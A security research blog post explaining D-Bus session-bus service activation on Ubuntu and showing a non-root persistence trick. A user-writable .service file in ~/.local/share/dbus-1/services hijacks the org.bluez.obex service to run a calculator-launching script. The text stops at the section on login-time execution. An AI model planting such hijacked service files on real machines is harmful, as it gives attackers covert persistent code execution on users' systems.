Seatbelts Everyone!

Persistence methods in Linux environments requiring root access are interesting and worth documenting, but not always practical. Once a threat actor has fully compromised the root user on a Linux machine, there are a plethora of obscure persistence mechanisms, it’s typically better to rebuild the machine from scratch.

Persistence mechanisms that do not require root access offer a different value proposition. They allow attackers to save their progress without the need to escalate to root.

Remember
Depending on your objectives, the OSCP mentality of “get root” is often not necessary.

There are far fewer known persistence methods available on a non-root user and these are well documented in wonderful projects like PANIX (Persistence against *Nix).

A threat actor with root access utilizing D-Bus to maintain persistent access to a Linux environment is a known, but less common method of persistence. This post explores how persistence can be achieved to a Linux desktop environment without root access by hijacking the D-Bus service path search path to execute code.

A Quick Case For The Linux Desktop

So why should we care about targeting Linux Desktop environments if they’re a smaller subset of the Linux systems out there? The answer – developers, power users, and critical systems.

Compromising a single developer’s Linux environment can cascade into access across an enormous amount of critical infrastructure – anecdotally, some of the most critical systems I’ve encountered are running these (usually outdated) Linux desktop environments.

While D-Bus is available on a wide variety of Linux machines that do not have a desktop environment configured, they typically do not have D-Bus services that are started automatically upon user login. This means that while it’s entirely possible to utilize this persistence method on any system that uses D-Bus, as of today, there are no D-Bus services that start by default in the systems tested.

What is DBUS?

When a user logs into a desktop environment, a D-Bus session bus is spawned allowing applications to utilize services attached to a session bus. These services offer various functionality to other system processes.

A common example of D-Bus being used is an application utilizing the system’s notification service – instead of Discord writing its own notification software from scratch, it can simply send a message to the notification service which handles displaying the notification.

There are two processes that make up the D-Bus system:

  • D-Bus library: Used by any two processes to exchange messages among themselves.
  • D-Bus Daemon: Runs the bus that the messages are transported over.

Additionally, in a typical environment, there are two types of buses:

  • System Bus: Privileged system wide communications. Typically owned and operated by root.
  • Session Bus: Unprivileged communication between a single user’s session.
System and Session Bus Visualization


Note Think of each bus as a tube that messages are sent through that any number of applications can hook into to receive the messages.

The System Bus handles communication for privileged services. For example, when plugging in a power adapter, the kernel detects the event and sends a message to org.freedesktop.UPower, which then allows other applications to become aware of this event and change their behavior now that the battery does not need to be conserved. Power settings are considered privileged which is why this is a part of the System Bus.

The Session Bus works in much the same way but for unprivileged process communication. When an application needs to send a notification (such as a discord message), the application connects to the D-Bus Session Bus and sends a message to a service such as the org.freedesktop.Notifications D-Bus service. This allows for applications to send a notification without having to worry about the underlying mechanisms such as “Does the user have notifications muted?”.

Note
The D-Bus Spec clarifies that the reverse domain name scheme tld.domain.subdomain naming scheme is borrowed from Java interface names.

We can identify what services are hooked into each system and session bus using the busctl command. In the below output, we can see the system bus shows privileged services such as NetworkManager and UPower.

  • Name: The identifier for the D-Bus service.
  • PID: The process ID of the running process
  • Process: The program that is providing the D-Bus service
  • User: The user account running the process
  • Connection: The address for the connection or activatable if it starts on demand
  • Unit: The systemd unit responsible for managing the service. For the session bus, there is a special template at /usr/lib/systemd/system/user@.service
  • Session: Shows the login session a user belongs to.
  • Description: A description of what the service does (not often used).
busctl --system list --no-pager
NAME                                   PID PROCESS         USER                 CONNECTION    UNIT                          SESSION DESCRIPTION
:1.0                                   448 systemd-timesyn systemd-timesync     :1.0          systemd-timesyncd.service     -       -
:1.1                                   328 systemd-network systemd-network      :1.1          systemd-networkd.service      -       -
:1.10                                    1 systemd         root                 :1.10         init.scope                    -       -
:1.108                                2940 fwupd           root                 :1.108        fwupd.service                 -       -
:1.109                                2947 upowerd         root                 :1.109        upower.service                -       -
:1.11                                  580 polkitd         polkitd              :1.11         polkit.service                -       -
:1.12                                  570 gnome-remote-de gnome-remote-desktop :1.12         gnome-remote-desktop.service  -       -
:1.13                                  711 wpa_supplicant  root                 :1.13         wpa_supplicant.service        -       -
:1.14                                  703 NetworkManager  root                 :1.14         NetworkManager.service        -       -
:1.15                                  760 ModemManager    root                 :1.15         ModemManager.service          -       -
:1.2                                   441 systemd-resolve systemd-resolve      :1.2          systemd-resolved.service      -       -
:1.21                                  858 cupsd           root                 :1.21         cups.service                  -       -
:1.22                                  878 gdm3            root                 :1.22         gdm.service                   -       -
:1.23                                  866 unattended-upgr root                 :1.23         unattended-upgrades.service   -       -
:1.27                                  895 systemd         ubuntu               :1.27         user@1000.service             -       -
:1.29                                  910 pipewire-pulse  ubuntu               :1.29         user@1000.service             -       -
:1.3                                   434 systemd-oomd    systemd-oom          :1.3          systemd-oomd.service          -       -
:1.30                                  906 pipewire        ubuntu               :1.30         user@1000.service             -       -
:1.31                                  908 pipewire        ubuntu               :1.31         user@1000.service             -       -
:1.32                                  909 wireplumber     ubuntu               :1.32         user@1000.service             -       -
:1.33                                  926 rtkit-daemon    root                 :1.33         rtkit-daemon.service          -       -
:1.35                                  909 wireplumber     ubuntu               :1.35         user@1000.service             -       -
:1.4                                   585 power-profiles- root                 :1.4          power-profiles-daemon.service -       -
:1.41                                 1286 gdm-session-wor root                 :1.41         session-4.scope               4       -
:1.43                                 1322 gnome-keyring-d ubuntu               :1.43         user@1000.service             -       -
:1.45                                 1357 Xorg            ubuntu               :1.45         session-4.scope               4       -
:1.46                                 1355 gdm-x-session   ubuntu               :1.46         session-4.scope               4       -
:1.47                                 1469 kerneloops      kernoops             :1.47         kerneloops.service            -       -
:1.48                                 1472 kerneloops      kernoops             :1.48         kerneloops.service            -       -
:1.482                               11272 gnome-shell     ubuntu               :1.482        user@1000.service             -       -
:1.483                               11293 busctl          ubuntu               :1.483        session-7.scope               7       -
:1.49                                 1467 cups-browsed    cups-browsed         :1.49         cups-browsed.service          -       -
:1.5                                   621 accounts-daemon root                 :1.5          accounts-daemon.service       -       -
:1.50                                 1467 cups-browsed    cups-browsed         :1.50         cups-browsed.service          -       -
:1.51                                 1513 gnome-session-b ubuntu               :1.51         user@1000.service             -       -
:1.6                                   624 switcheroo-cont root                 :1.6          switcheroo-control.service    -       -
:1.7                                   645 udisksd         root                 :1.7          udisks2.service               -       -
:1.8                                   566 avahi-daemon    avahi                :1.8          avahi-daemon.service          -       -
:1.9                                   639 systemd-logind  root                 :1.9          systemd-logind.service        -       -
com.canonical.UbuntuAdvantage            - -               -                    (activatable) -                             -       -
com.hp.hplip                             - -               -                    (activatable) -                             -       -
com.ubuntu.LanguageSelector              - -               -                    (activatable) -                             -       -
com.ubuntu.SoftwareProperties            - -               -                    (activatable) -                             -       -
com.ubuntu.WhoopsiePreferences           - -               -                    (activatable) -                             -       -
fi.w1.wpa_supplicant1                  711 wpa_supplicant  root                 :1.13         wpa_supplicant.service        -       -
io.netplan.Netplan                       - -               -                    (activatable) -                             -       -
net.hadess.PowerProfiles               585 power-profiles- root                 :1.4          power-profiles-daemon.service -       -
net.hadess.SwitcherooControl           624 switcheroo-cont root                 :1.6          switcheroo-control.service    -       -
net.reactivated.Fprint                   - -               -                    (activatable) -                             -       -
org.bluez                                - -               -                    (activatable) -                             -       -
org.debian.apt                           - -               -                    (activatable) -                             -       -
org.freedesktop.Accounts               621 accounts-daemon root                 :1.5          accounts-daemon.service       -       -
org.freedesktop.Avahi                  566 avahi-daemon    avahi                :1.8          avahi-daemon.service          -       -
org.freedesktop.ColorManager             - -               -                    (activatable) -                             -       -
org.freedesktop.DBus                     1 systemd         root                 -             init.scope                    -       -
org.freedesktop.GeoClue2                 - -               -                    (activatable) -                             -       -
org.freedesktop.ModemManager1          760 ModemManager    root                 :1.15         ModemManager.service          -       -
org.freedesktop.NetworkManager         703 NetworkManager  root                 :1.14         NetworkManager.service        -       -
org.freedesktop.PackageKit               - -               -                    (activatable) -                             -       -
org.freedesktop.PolicyKit1             580 polkitd         polkitd              :1.11         polkit.service                -       -
org.freedesktop.RealtimeKit1           926 rtkit-daemon    root                 :1.33         rtkit-daemon.service          -       -
org.freedesktop.UDisks2                645 udisksd         root                 :1.7          udisks2.service               -       -
org.freedesktop.UPower                2947 upowerd         root                 :1.109        upower.service                -       -
org.freedesktop.UPower.PowerProfiles   585 power-profiles- root                 :1.4          power-profiles-daemon.service -       -
org.freedesktop.bolt                     - -               -                    (activatable) -                             -       -
org.freedesktop.fwupd                 2940 fwupd           root                 :1.108        fwupd.service                 -       -
org.freedesktop.hostname1                - -               -                    (activatable) -                             -       -
org.freedesktop.locale1                  - -               -                    (activatable) -                             -       -
org.freedesktop.login1                 639 systemd-logind  root                 :1.9          systemd-logind.service        -       -
org.freedesktop.network1               328 systemd-network systemd-network      :1.1          systemd-networkd.service      -       -
org.freedesktop.nm_dispatcher            - -               -                    (activatable) -                             -       -
org.freedesktop.nm_priv_helper           - -               -                    (activatable) -                             -       -
org.freedesktop.oom1                   434 systemd-oomd    systemd-oom          :1.3          systemd-oomd.service          -       -
org.freedesktop.resolve1               441 systemd-resolve systemd-resolve      :1.2          systemd-resolved.service      -       -
org.freedesktop.systemd1                 1 systemd         root                 :1.10         init.scope                    -       -
org.freedesktop.timedate1                - -               -                    (activatable) -                             -       -
org.freedesktop.timesync1              448 systemd-timesyn systemd-timesync     :1.0          systemd-timesyncd.service     -       -
org.gnome.DisplayManager               878 gdm3            root                 :1.22         gdm.service                   -       -
org.gnome.RemoteDesktop                570 gnome-remote-de gnome-remote-desktop :1.12         gnome-remote-desktop.service  -       -
org.opensuse.CupsPkHelper.Mechanism      - -               -                    (activatable) -                             -       -

When looking at the Session bus we can see the services run by the ubuntu account. These are more focused on specific services for session management such as FileManager1 and SessionManager.

busctl --user list --no-pager
NAME                                          PID PROCESS         USER   CONNECTION    UNIT              SESSION DESCRIPTION
:1.10                                         908 wireplumber     ubuntu :1.10         user@1000.service -       -
:1.100                                       1745 evolution-alarm ubuntu :1.100        user@1000.service -       -
:1.101                                       1567 xdg-desktop-por ubuntu :1.101        user@1000.service -       -
:1.105                                       1869 update-notifier ubuntu :1.105        user@1000.service -       -
:1.107                                       1869 update-notifier ubuntu :1.107        user@1000.service -       -
:1.112                                       1925 busctl          ubuntu :1.112        session-3.scope   3       -
:1.17                                        1023 gvfsd           ubuntu :1.17         user@1000.service -       -
:1.18                                        1031 gvfsd-fuse      ubuntu :1.18         user@1000.service -       -
:1.27                                        1033 gnome-session-b ubuntu :1.27         user@1000.service -       -
:1.28                                        1063 at-spi-bus-laun ubuntu :1.28         user@1000.service -       -
:1.29                                        1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
:1.30                                        1066 gnome-shell     ubuntu :1.30         user@1000.service -       -
:1.31                                        1103 at-spi2-registr ubuntu :1.31         user@1000.service -       -
:1.32                                        1103 at-spi2-registr ubuntu :1.32         user@1000.service -       -
:1.34                                        1140 xdg-permission- ubuntu :1.34         user@1000.service -       -
:1.35                                        1139 gnome-shell-cal ubuntu :1.35         user@1000.service -       -
:1.36                                        1151 evolution-sourc ubuntu :1.36         user@1000.service -       -
:1.37                                        1163 gjs             ubuntu :1.37         user@1000.service -       -
:1.39                                        1187 gsd-screensaver ubuntu :1.39         user@1000.service -       -
:1.4                                          915 gnome-keyring-d ubuntu :1.4          user@1000.service -       -
:1.40                                        1175 gsd-a11y-settin ubuntu :1.40         user@1000.service -       -
:1.41                                        1188 gsd-sharing     ubuntu :1.41         user@1000.service -       -
:1.42                                        1179 gsd-datetime    ubuntu :1.42         user@1000.service -       -
:1.43                                        1189 gsd-smartcard   ubuntu :1.43         user@1000.service -       -
:1.44                                        1186 gsd-rfkill      ubuntu :1.44         user@1000.service -       -
:1.45                                        1195 gsd-sound       ubuntu :1.45         user@1000.service -       -
:1.46                                        1184 gsd-print-notif ubuntu :1.46         user@1000.service -       -
:1.47                                        1196 gsd-wacom       ubuntu :1.47         user@1000.service -       -
:1.48                                        1180 gsd-housekeepin ubuntu :1.48         user@1000.service -       -
:1.49                                        1181 gsd-keyboard    ubuntu :1.49         user@1000.service -       -
:1.5                                          894 systemd         ubuntu :1.5          user@1000.service -       -
:1.50                                        1176 gsd-color       ubuntu :1.50         user@1000.service -       -
:1.51                                        1172 ibus-daemon     ubuntu :1.51         user@1000.service -       -
:1.52                                        1182 gsd-media-keys  ubuntu :1.52         user@1000.service -       -
:1.53                                        1183 gsd-power       ubuntu :1.53         user@1000.service -       -
:1.54                                        1321 ibus-dconf      ubuntu :1.54         user@1000.service -       -
:1.55                                        1331 ibus-portal     ubuntu :1.55         user@1000.service -       -
:1.56                                        1233 goa-daemon      ubuntu :1.56         user@1000.service -       -
:1.57                                        1333 evolution-calen ubuntu :1.57         user@1000.service -       -
:1.58                                        1323 ibus-extension- ubuntu :1.58         user@1000.service -       -
:1.59                                        1336 gvfs-udisks2-vo ubuntu :1.59         user@1000.service -       -
:1.6                                          905 pipewire        ubuntu :1.6          user@1000.service -       -
:1.60                                        1349 goa-identity-se ubuntu :1.60         user@1000.service -       -
:1.61                                        1365 gvfs-mtp-volume ubuntu :1.61         user@1000.service -       -
:1.62                                        1373 gvfs-gphoto2-vo ubuntu :1.62         user@1000.service -       -
:1.63                                        1385 gvfs-afc-volume ubuntu :1.63         user@1000.service -       -
:1.64                                        1382 evolution-addre ubuntu :1.64         user@1000.service -       -
:1.65                                        1394 gvfs-goa-volume ubuntu :1.65         user@1000.service -       -
:1.66                                        1417 ibus-engine-sim ubuntu :1.66         user@1000.service -       -
:1.67                                        1438 dconf-service   ubuntu :1.67         user@1000.service -       -
:1.69                                        1450 gvfsd-trash     ubuntu :1.69         user@1000.service -       -
:1.7                                          905 pipewire        ubuntu :1.7          user@1000.service -       -
:1.71                                        1176 gsd-color       ubuntu :1.71         user@1000.service -       -
:1.72                                        1182 gsd-media-keys  ubuntu :1.72         user@1000.service -       -
:1.73                                        1196 gsd-wacom       ubuntu :1.73         user@1000.service -       -
:1.74                                        1183 gsd-power       ubuntu :1.74         user@1000.service -       -
:1.75                                        1323 ibus-extension- ubuntu :1.75         user@1000.service -       -
:1.76                                        1181 gsd-keyboard    ubuntu :1.76         user@1000.service -       -
:1.77                                        1480 gsd-printer     ubuntu :1.77         user@1000.service -       -
:1.78                                        1482 tracker-miner-f ubuntu :1.78         user@1000.service -       -
:1.79                                        1481 gnome-initial-s ubuntu :1.79         user@1000.service -       -
:1.8                                          909 pipewire-pulse  ubuntu :1.8          user@1000.service -       -
:1.80                                        1499 gjs             ubuntu :1.80         user@1000.service -       -
:1.81                                        1512 gjs             ubuntu :1.81         user@1000.service -       -
:1.82                                        1492 gsd-xsettings   ubuntu :1.82         user@1000.service -       -
:1.83                                        1492 gsd-xsettings   ubuntu :1.83         user@1000.service -       -
:1.84                                        1512 gjs             ubuntu :1.84         user@1000.service -       -
:1.85                                        1567 xdg-desktop-por ubuntu :1.85         user@1000.service -       -
:1.87                                        1586 xdg-document-po ubuntu :1.87         user@1000.service -       -
:1.88                                        1618 xdg-desktop-por ubuntu :1.88         user@1000.service -       -
:1.89                                        1700 gvfsd-metadata  ubuntu :1.89         user@1000.service -       -
:1.9                                          933 gdm-wayland-ses ubuntu :1.9          session-1.scope   1       -
:1.90                                        1699 ibus-x11        ubuntu :1.90         user@1000.service -       -
:1.91                                        1699 ibus-x11        ubuntu :1.91         user@1000.service -       -
:1.92                                        1207 spice-vdagent   ubuntu :1.92         user@1000.service -       -
:1.93                                        1207 spice-vdagent   ubuntu :1.93         user@1000.service -       -
:1.94                                        1732 gsd-disk-utilit ubuntu :1.94         user@1000.service -       -
:1.95                                        1786 xdg-desktop-por ubuntu :1.95         user@1000.service -       -
:1.97                                        1786 xdg-desktop-por ubuntu :1.97         user@1000.service -       -
:1.98                                        1745 evolution-alarm ubuntu :1.98         user@1000.service -       -
:1.99                                        1708 mutter-x11-fram ubuntu :1.99         user@1000.service -       -
ca.desrt.dconf                               1438 dconf-service   ubuntu :1.67         user@1000.service -       -
com.canonical.Unity                          1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
com.feralinteractive.GameMode                   - -               -      (activatable) -                 -       -
com.rastersoft.ding                          1512 gjs             ubuntu :1.81         user@1000.service -       -
com.rastersoft.dingextension                 1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
io.snapcraft.Launcher                           - -               -      (activatable) -                 -       -
io.snapcraft.SessionAgent                       - -               -      (activatable) -                 -       -
io.snapcraft.Settings                           - -               -      (activatable) -                 -       -
org.a11y.Bus                                 1063 at-spi-bus-laun ubuntu :1.28         user@1000.service -       -
org.bluez.obex                                  - -               -      (activatable) -                 -       -
org.fedoraproject.Config.Printing               - -               -      (activatable) -                 -       -
org.freedesktop.ColorHelper                     - -               -      (activatable) -                 -       -
org.freedesktop.DBus                          894 systemd         ubuntu -             user@1000.service -       -
org.freedesktop.FileManager1                    - -               -      (activatable) -                 -       -
org.freedesktop.IBus                         1172 ibus-daemon     ubuntu :1.51         user@1000.service -       -
org.freedesktop.IBus.Panel.Extension.Gtk3    1323 ibus-extension- ubuntu :1.58         user@1000.service -       -
org.freedesktop.Notifications                1163 gjs             ubuntu :1.37         user@1000.service -       -
org.freedesktop.ScreenSaver                  1187 gsd-screensaver ubuntu :1.39         user@1000.service -       -
org.freedesktop.Tracker3.Miner.Files         1482 tracker-miner-f ubuntu :1.78         user@1000.service -       -
org.freedesktop.Tracker3.Miner.Files.Control    - -               -      (activatable) -                 -       -
org.freedesktop.Tracker3.Writeback              - -               -      (activatable) -                 -       -
org.freedesktop.background.Monitor           1567 xdg-desktop-por ubuntu :1.101        user@1000.service -       -
org.freedesktop.impl.portal.PermissionStore  1140 xdg-permission- ubuntu :1.34         user@1000.service -       -
org.freedesktop.impl.portal.Secret              - -               -      (activatable) -                 -       -
org.freedesktop.impl.portal.desktop.gnome    1618 xdg-desktop-por ubuntu :1.88         user@1000.service -       -
org.freedesktop.impl.portal.desktop.gtk      1786 xdg-desktop-por ubuntu :1.95         user@1000.service -       -
org.freedesktop.portal.Desktop               1567 xdg-desktop-por ubuntu :1.85         user@1000.service -       -
org.freedesktop.portal.Documents             1586 xdg-document-po ubuntu :1.87         user@1000.service -       -
org.freedesktop.portal.IBus                  1331 ibus-portal     ubuntu :1.55         user@1000.service -       -
org.freedesktop.portal.Tracker                  - -               -      (activatable) -                 -       -
org.freedesktop.secrets                       915 gnome-keyring-d ubuntu :1.4          user@1000.service -       -
org.freedesktop.systemd1                      894 systemd         ubuntu :1.5          user@1000.service -       -
org.gnome.Calculator.SearchProvider             - -               -      (activatable) -                 -       -
org.gnome.Characters                            - -               -      (activatable) -                 -       -
org.gnome.DiskUtility                           - -               -      (activatable) -                 -       -
org.gnome.Disks.NotificationMonitor          1732 gsd-disk-utilit ubuntu :1.94         user@1000.service -       -
org.gnome.Evolution-alarm-notify             1745 evolution-alarm ubuntu :1.98         user@1000.service -       -
org.gnome.Extensions                            - -               -      (activatable) -                 -       -
org.gnome.Identity                           1349 goa-identity-se ubuntu :1.60         user@1000.service -       -
org.gnome.InitialSetup                       1481 gnome-initial-s ubuntu :1.79         user@1000.service -       -
org.gnome.Logs                                  - -               -      (activatable) -                 -       -
org.gnome.Mutter.DisplayConfig               1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Mutter.IdleMonitor                 1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Mutter.InputCapture                1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Mutter.InputMapping                1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Mutter.RemoteDesktop               1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Mutter.ScreenCast                  1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Mutter.ServiceChannel              1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Nautilus                              - -               -      (activatable) -                 -       -
org.gnome.Nautilus.Tracker3.Miner.Extract       - -               -      (activatable) -                 -       -
org.gnome.Nautilus.Tracker3.Miner.Files         - -               -      (activatable) -                 -       -
org.gnome.OnlineAccounts                     1233 goa-daemon      ubuntu :1.56         user@1000.service -       -
org.gnome.Rygel1                                - -               -      (activatable) -                 -       -
org.gnome.ScreenSaver                        1499 gjs             ubuntu :1.80         user@1000.service -       -
org.gnome.SessionManager                     1033 gnome-session-b ubuntu :1.27         user@1000.service -       -
org.gnome.Settings                              - -               -      (activatable) -                 -       -
org.gnome.Settings.SearchProvider               - -               -      (activatable) -                 -       -
org.gnome.SettingsDaemon.A11ySettings        1175 gsd-a11y-settin ubuntu :1.40         user@1000.service -       -
org.gnome.SettingsDaemon.Color               1176 gsd-color       ubuntu :1.50         user@1000.service -       -
org.gnome.SettingsDaemon.Datetime            1179 gsd-datetime    ubuntu :1.42         user@1000.service -       -
org.gnome.SettingsDaemon.Housekeeping        1180 gsd-housekeepin ubuntu :1.48         user@1000.service -       -
org.gnome.SettingsDaemon.Keyboard            1181 gsd-keyboard    ubuntu :1.49         user@1000.service -       -
org.gnome.SettingsDaemon.MediaKeys           1182 gsd-media-keys  ubuntu :1.52         user@1000.service -       -
org.gnome.SettingsDaemon.Power               1183 gsd-power       ubuntu :1.53         user@1000.service -       -
org.gnome.SettingsDaemon.PrintNotifications  1184 gsd-print-notif ubuntu :1.46         user@1000.service -       -
org.gnome.SettingsDaemon.Rfkill              1186 gsd-rfkill      ubuntu :1.44         user@1000.service -       -
org.gnome.SettingsDaemon.ScreensaverProxy    1187 gsd-screensaver ubuntu :1.39         user@1000.service -       -
org.gnome.SettingsDaemon.Sharing             1188 gsd-sharing     ubuntu :1.41         user@1000.service -       -
org.gnome.SettingsDaemon.Smartcard           1189 gsd-smartcard   ubuntu :1.43         user@1000.service -       -
org.gnome.SettingsDaemon.Sound               1195 gsd-sound       ubuntu :1.45         user@1000.service -       -
org.gnome.SettingsDaemon.Wacom               1196 gsd-wacom       ubuntu :1.47         user@1000.service -       -
org.gnome.SettingsDaemon.XSettings           1492 gsd-xsettings   ubuntu :1.83         user@1000.service -       -
org.gnome.Shell                              1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Shell.AudioDeviceSelection         1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Shell.CalendarServer               1139 gnome-shell-cal ubuntu :1.35         user@1000.service -       -
org.gnome.Shell.Extensions                      - -               -      (activatable) -                 -       -
org.gnome.Shell.HotplugSniffer                  - -               -      (activatable) -                 -       -
org.gnome.Shell.Introspect                   1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Shell.Notifications                1163 gjs             ubuntu :1.37         user@1000.service -       -
org.gnome.Shell.Portal                       1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Shell.ScreenShield                 1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Shell.Screencast                      - -               -      (activatable) -                 -       -
org.gnome.Shell.Screenshot                   1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Shell.Wacom.PadOsd                 1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.Terminal                              - -               -      (activatable) -                 -       -
org.gnome.TextEditor                            - -               -      (activatable) -                 -       -
org.gnome.baobab                                - -               -      (activatable) -                 -       -
org.gnome.clocks                                - -               -      (activatable) -                 -       -
org.gnome.evince.Daemon                         - -               -      (activatable) -                 -       -
org.gnome.evolution.dataserver.AddressBook10 1382 evolution-addre ubuntu :1.64         user@1000.service -       -
org.gnome.evolution.dataserver.Calendar8     1333 evolution-calen ubuntu :1.57         user@1000.service -       -
org.gnome.evolution.dataserver.Sources5      1151 evolution-sourc ubuntu :1.36         user@1000.service -       -
org.gnome.evolution.dataserver.UserPrompter0    - -               -      (activatable) -                 -       -
org.gnome.font-viewer                           - -               -      (activatable) -                 -       -
org.gnome.keyring                             915 gnome-keyring-d ubuntu :1.4          user@1000.service -       -
org.gnome.keyring.PrivatePrompter               - -               -      (activatable) -                 -       -
org.gnome.keyring.SystemPrompter             1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gnome.seahorse.Application                  - -               -      (activatable) -                 -       -
org.gtk.GLib.PACRunner                          - -               -      (activatable) -                 -       -
org.gtk.MountOperationHandler                1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gtk.Notifications                        1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.gtk.Settings                             1492 gsd-xsettings   ubuntu :1.83         user@1000.service -       -
org.gtk.vfs.AfcVolumeMonitor                 1385 gvfs-afc-volume ubuntu :1.63         user@1000.service -       -
org.gtk.vfs.Daemon                           1023 gvfsd           ubuntu :1.17         user@1000.service -       -
org.gtk.vfs.GPhoto2VolumeMonitor             1373 gvfs-gphoto2-vo ubuntu :1.62         user@1000.service -       -
org.gtk.vfs.GoaVolumeMonitor                 1394 gvfs-goa-volume ubuntu :1.65         user@1000.service -       -
org.gtk.vfs.MTPVolumeMonitor                 1365 gvfs-mtp-volume ubuntu :1.61         user@1000.service -       -
org.gtk.vfs.Metadata                         1700 gvfsd-metadata  ubuntu :1.89         user@1000.service -       -
org.gtk.vfs.UDisks2VolumeMonitor             1336 gvfs-udisks2-vo ubuntu :1.59         user@1000.service -       -
org.gtk.vfs.mountpoint_1450                  1450 gvfsd-trash     ubuntu :1.69         user@1000.service -       -
org.kde.StatusNotifierWatcher                1066 gnome-shell     ubuntu :1.29         user@1000.service -       -
org.pulseaudio.Server                         909 pipewire-pulse  ubuntu :1.8          user@1000.service -       -

Note
The entries with :1.xx format are unique, private D-Bus addresses automatically assigned to each connection. These are unique identifiers for active connections even if the service doesn’t register a name.

Service Activation

Some services are marked as activatable. This means they’re not active but they are on standby for when a program needs to use it. For example, Bluetooth might not be in use, but it is listening and ready to activate if a process asks for it. In the above Session Bus output, we can see that org.bluez.obex is listed as activatable. We can explicitly activate it by sending a busctl command.

busctl --user \
call org.freedesktop.DBus /org/freedesktop/DBus \
org.freedesktop.DBus StartServiceByName "su" "org.bluez.obex" 0

We can see that org.bluez.obex is activated.

busctl --user list --no-pager |  grep bluez
org.bluez.obex                               2026 obexd           ubuntu :1.117        user@1000.service -       -

Service Activation Flow

When a D-Bus service is activated, a predefined sequence of events kicks off. The most important for our purposes is the D-Bus daemon attempts to start the service being requested by searching a predetermined list of directories for a D-BUS Service configuration file that is written using the .ini format. By convention this is called servicename.service or in this example org.bluez.obex.service

[D-BUS Service]
Name=org.bluez.obex
Exec=/usr/libexec/bluetooth/obexd
SystemdService=obex.service

This configuration file tells the D-Bus daemon what application to start when the service is activated.

Note
For those familiar with DLL Hijacking in Windows, you may see where this is going.

According to the D-Bus Spec, the following order of locations are checked for a .service file.

  1. $XDG_RUNTIME_DIR/dbus-1/services (if $XDG_RUNTIME_DIR is set)
  2. $XDG_DATA_HOME/dbus-1/services (where $XDG_DATA_HOME defaults to ~/.local/share)
  3. directory/dbus-1/services for each directory in $XDG_DATA_DIRS (where $XDG_DATA_DIRS defaults to /usr/local/share:/usr/share)
  4. ${datadir}/dbus-1/services (typically /usr/share/dbus-1/services)

The environment variables make this a bit abstract. What do these actually evaluate to on a normal system? On many systems (such as Ubuntu 24.04), the default relevant environment variables make the search order:

  1. /run/user/1000/dbus-1/services
  2. ~/.local/share/dbus-1/services
  3. For each directory in $XDG_DATA_DIRS, it looks for a dbus-1/services subdirectory:
    • /home/graham/.local/share/flatpak/exports/share/dbus-1/services
    • /var/lib/flatpak/exports/share/dbus-1/services
    • /usr/local/share/dbus-1/services
    • /usr/share/dbus-1/services
    • /var/lib/snapd/desktop/dbus-1/services
    • /snap/ghostty/37/usr/share/dbus-1/services
  4. /usr/share/dbus-1/services (in case $XDG_DATA_DIRS isn’t set)

This is very interesting! According to this, the service configuration files we place in /run/user/100/dbus-1/services and ~/.local/share/dbus-1/services are the first locations in the search path that will be checked for D-Bus service files when a D-Bus service is activated. The best part – these locations are user writable.

Proof Of Concept

In theory, we should be able to place a configuration file in one of these locations to use as a configuration file for a D-Bus service.

To validate, let’s place a custom org.bluez.obex.service inside of ~/.local/share/dbus-1/services/ and then turn on bluetooth.

Note
You may also use /run/user/1000/dbus-1, but if doing so, the service file must end in .service

First, we need to create a “payload” script that will demonstrate our custom service configuration file is being loaded. In this case a file at /home/graham/runmecalc.sh that runs /usr/bin/gnome-calculator and then keeps the process running.

# Create runmecalc.sh

cat << EOF > /home/$USER/runmecalc.sh
#!/bin/bash
/usr/bin/gnome-calculator -e 1337

# Keep the process alive even after calc is closed
while true;do sleep 10; done
EOF

Next, create the service org.bluez.obex.service at ~/.local/share/dbus-1/services/.


Note Technically you can name this whatever you like as long as it ends in .service. It even works with hidden files. I know this because I forgot I created a hidden file and was mildly concerned when calc kept opening.
# Create the service configuration file

cat << EOF > ~/.local/share/dbus-1/services/org.bluez.obex.service
[D-BUS Service]
Name=org.bluez.obex
Exec=/home/graham/runmecalc.sh
EOF

Cleanup
To remove these files run: rm ~/.local/share/dbus-1/services/org.bluez.obex.service /home/$USER/runmecalc.sh

Now we can test to see if runmecalc.sh executes when the Bluetooth D-Bus service activates. To activate this service, open any program that requests Bluetooth service. In this case, just open the Bluetooth settings in Ubuntu.

Upon opening the Bluetooth menu (which in turn activates the org.bluez.obex D-Bus service), we can see that a calculator is opened, confirming that our code is being executed upon service activation.

Gnome Calculator opening when the bluetooth service is activated

Looking at the process tree ps --forest aux | grep "calc\|", we can see that dbus-daemon spawned runmecalc.sh which spawned gnome-calculator

graham      6300  0.0  0.0  11480  6980 ?        Ss   12:33   0:05  \_ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
graham     31202  0.0  0.0  11480  3280 ?        S    14:36   0:00  |   \_ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
graham     31203  0.0  0.0   9940  3392 ?        S    14:36   0:00  |       \_ /bin/bash /home/graham/runmecalc.sh
graham     31204  0.5  0.4 1505880 139576 ?      Sl   14:36   0:00  |           \_ /usr/bin/gnome-calculator -e 1337

This is a neat party trick, but relying on the user to activate Bluetooth isn’t entirely practical. Let’s make it execute each time the user logs in.

D-Bus Service Path Hijacking

